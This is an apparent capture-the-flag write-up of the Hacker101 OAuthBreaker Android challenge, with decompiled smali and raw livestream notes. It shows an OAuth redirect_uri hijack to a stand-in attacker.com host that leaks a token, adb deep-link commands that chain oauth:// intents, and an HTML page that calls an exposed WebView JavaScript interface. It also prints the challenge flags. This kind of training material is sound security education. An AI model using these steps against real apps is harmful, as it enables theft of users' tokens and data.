Just by the name of the challenge, we can tell we'll be dealing with OAuth. If you're not familiar with it, the summary is:
An open protocol to allow secure authorization in a simple and standard method from web, mobile and desktop applications.
For this challenge, I livestreamed it on Twitch for something different. If you'd rather watch than read, the full video (3 hours!) should stay up for a week or two, and the "highlights" which I hastily clipped together should remain for longer than that.
So, let's download the APK, decompile it with the handy apktool, and poke around.
new-instance v0, Ljava/lang/StringBuilder;
invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
const-string v1, "http://35.190.155.168/960f7e3cb7/oauth?redirect_url="
invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
iget-object v1, p0, Lcom/hacker101/oauth/MainActivity;->authRedirectUri:Ljava/lang/String;
sget-object v2, Ljava/nio/charset/StandardCharsets;->UTF_8:Ljava/nio/charset/Charset;
invoke-virtual {v2}, Ljava/nio/charset/Charset;->toString()Ljava/lang/String;
move-result-object v2
invoke-static {v1, v2}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
move-result-object v1
invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
const-string v1, "login&response_type=token&scope=all"
invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
This code snippet stands out, constructing a url http://{host}/960f7e3cb7/oauth?redirect_url=login&response_type=token&scope=all
. Why not just browse that URL and see what we get?
<a href="login?token=^FLAG^{flag}$FLAG$">Authorize Mobile Application</a>
Well that was easy, FLAG0!
Next let's have a look at what else we can find. There seems to be some interesting data in WebbAppInterface.smali
, in a method called .method public getFlagPath()Ljava/lang/String;
. With the word "flag" in the name, there is bound to be something good to find. There is an array initialized with some bytes (abbreviated here):
:array_0
.array-data 4
0xae
0x5f
0xa
...
.end array-data
Before even trying to deduce what this data does, let's look at how it is used. WebAppInterface
is utilized by the Browser
class that creates and renders a WebView.
invoke-direct {v1, v2}, Lcom/hacker101/oauth/WebAppInterface;-><init>(Landroid/content/Context;)V
const-string v2, "iface"
invoke-virtual {v0, v1, v2}, Landroid/webkit/WebView;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V
So what does addJavascriptInterface
do? [The Android Developer documentations]() explains:
addJavascriptInterface
Added in API level 1
public void addJavascriptInterface (Object object, String name)
Injects the supplied Java object into this WebView. The object is injected
into all frames of the web page, including all the iframes, using the
supplied name. This allows the Java object's methods to be accessed from
JavaScript.
So the code is making available an object, named "iface", for Javascript to be able to use. The Javascript can call methods on the Java object, for example, calling iface.getFlagPath()
. Where is this Javascript? Well, it's whatever is loaded when the app is told what URL to open.
In the notes below, the page I craft to load and execute the exposed Javascript could/should have made its own link where the href
attribute took us right to the "secret" page, but I had been livestreaming for 3 hours at that point and I was out of gas. We got the flag, that's all that mattered at that time.
Later!
Raw notes from during livestream:
OAuthBreaker
AndroidManifest.xml
- Intent filter for action VIEW, scheme "oauth" for the Browser Activity
- Intent filter for action VIEW, scheme "oauth" for the MainActivity Activity
Main Activity
- MainActivity
- Manifest exports Intent Filters for "oauth://login", and "oauth://final"
- MainActivity is a layout with one button labeled "Authenticate"
- setOnClickListener for that button, with code to:
- confirm that the view clicked on is our button
- start with a url of "http://34.74.105.127/d612611276/oauth?redirect_url="
- append the value of the outer class's member variable: MainActivity.authRedirectUri
- append "login&response_type=token&scope=all"
- If all goes well (URL encoding that result), then we create an Intent, with type View, and data is the URI we created be appending pieces above
http://34.74.105.127/d612611276/oauth?redirect_url=<authRedirectUri>login&response_type=token&scope=all
Browser Activity
- One view in the layout, it's a
WebView
- Found a URL in the source: http://34.74.105.127/d612611276/authed
- Get the
WebView
- Enable Javascript!
- Add a Javascript interface (
WebAppInterface
) namediface
WebAppInterface
- Has an array of some kind of data
- Performs some kind of encoding/decoding/manipulation??
- All in the one method it exposes (to Javascript) named
getFlagPath
Follow up on MainActivity onClick
- It appears that we can set the
redirect_uri
query param on the OAUTH call to whatever we want. That means we can control the flow after authorization via OAUTH. authRedirectUri
is controllable by us, used in forming the OAUTH params
Messing around
- Tried
http://34.74.105.127/d612611276/oauth?redirect_url=http://attacker.com/login&response_type=token&scope=all
http://attacker.com/login?token=^FLAG^fcb88f6aa26000cceb148eb6083a604859c5d1af619b2ed8a484fb5585e6cd55$FLAG$
- Because we can control what resource the "browser" (a
WebView
in our Browser Activity) loads, by specifying a redirect_uri, we can redirect to a resource we control, and it will have access to theiface.getFlagPath
which we can print out.
Plan from here
- Confirm we can redirect the app after authorization
adb shell am start -a android.intent.action.VIEW -d "oauth://login/?redirect_uri=https://leeadams.dev/" com.hacker101.oauth
- Create a web page to redirect to
- Create some javascript in that page, that will call
iface.getFlagPath()
- See what we get
- Our page gets opened in Chrome, not the WebView in the app, that exposes "iface"
- Change it to two steps, the first URI we pass as redirect_uri is another oauth:// uri with parameter uri as our controlled resources, which will allow us to re-open the app and load our resources in the
WebView
, not Chrome or some external browser.
- profit
Final command to invoke:
adb shell am start -a android.intent.action.VIEW -d "oauth://login/?redirect_uri=oauth://final/?uri=https://leeadams.dev/" com.hacker101.oauth
Test page
<html>
<head>
</head>
<body>
<h1>Oh hai there!</h1>
<p id="msg">Testing</p>
<script type="text/javascript">
var msg = document.getElementById("msg");
msg.innerHTML = iface.getFlagPath();
</script>
</body>
</html>